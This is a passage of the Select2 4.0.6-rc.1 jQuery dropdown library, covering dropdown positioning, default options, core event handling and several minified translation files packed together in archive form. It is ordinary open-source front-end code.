$window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ '../utils' ], function (Utils) { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = Utils.GetData($highlightedResults[0], 'data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(true, this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if (Utils.GetData($e[0], 'select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); Utils.StoreData($e[0], 'tags', true); } if (Utils.GetData($e[0], 'ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0])); } else { dataset = Utils.GetData($e[0]); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if (Utils.GetData($element[0], 'select2') != null) { Utils.GetData($element[0], 'select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; Utils.StoreData($element[0], 'old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); Utils.StoreData($element[0], 'select2', this); // Ensure backwards compatibility with $element.data('select2'). $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting', 'clear': 'clearing' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', Utils.GetData(this.$element[0], 'old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); Utils.RemoveData(this.$element[0]); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); Utils.StoreData($container[0], 'element', this.$element); return $container; }; return Select2; }); S2.define('jquery-mousewheel',[ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); S2.define('jquery.select2',[ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults', './select2/utils' ], function ($, _, Select2, Defaults, Utils) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = Utils.GetData(this, 'select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; }); // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); i18n/ms.js000064400000001436151701413610006303 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Sila hapuskan "+t+" aksara"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Sila masukkan "+t+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(e){return"Anda hanya boleh memilih "+e.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})();i18n/tk.js000064400000001416151701413610006300 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/tk",[],function(){return{errorLoading:function(){return"Netije ýüklenmedi."},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" harp bozuň.";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Ýene-de iň az "+t+" harp ýazyň.";return n},loadingMore:function(){return"Köpräk netije görkezilýär…"},maximumSelected:function(e){var t="Diňe "+e.maximum+" sanysyny saýlaň.";return t},noResults:function(){return"Netije tapylmady."},searching:function(){return"Gözlenýär…"}}}),{define:e.define,require:e.require}})();i18n/sr.js000064400000001661151701413610006310 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();i18n/lv.js000064400000001557151701413610006311 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lv",[],function(){function e(e,t,n,r){return e===11?t:e%10===1?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Lūdzu ievadiet par "+n;return r+=" simbol"+e(n,"iem","u","iem"),r+" mazāk"},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Lūdzu ievadiet vēl "+n;return r+=" simbol"+e(n,"us","u","us"),r},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(t){var n="Jūs varat izvēlēties ne vairāk kā "+t.maximum;return n+=" element"+e(t.maximum,"us","u","us"),n},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"}}}),{define:e.define,require:e.require}})();i18n/nb.js000064400000001375151701413610006265 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Vennligst fjern "+t+" tegn"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Vennligst skriv inn "+t+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"}}}),{define:e.define,require:e.require}})();i18n/sr-Cyrl.js000064400000002062151701413610007213 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr-Cyrl",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Обришите "+n+" симбол";return r+=e(n,"","а","а"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Укуцајте бар још "+n+" симбол";return r+=e(n,"","а","а"),r},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(t){var n="Можете изабрати само "+t.maximum+" ставк";return n+=e(t.maximum,"у","е","и"),n},noResults:function(){return"Ништа није 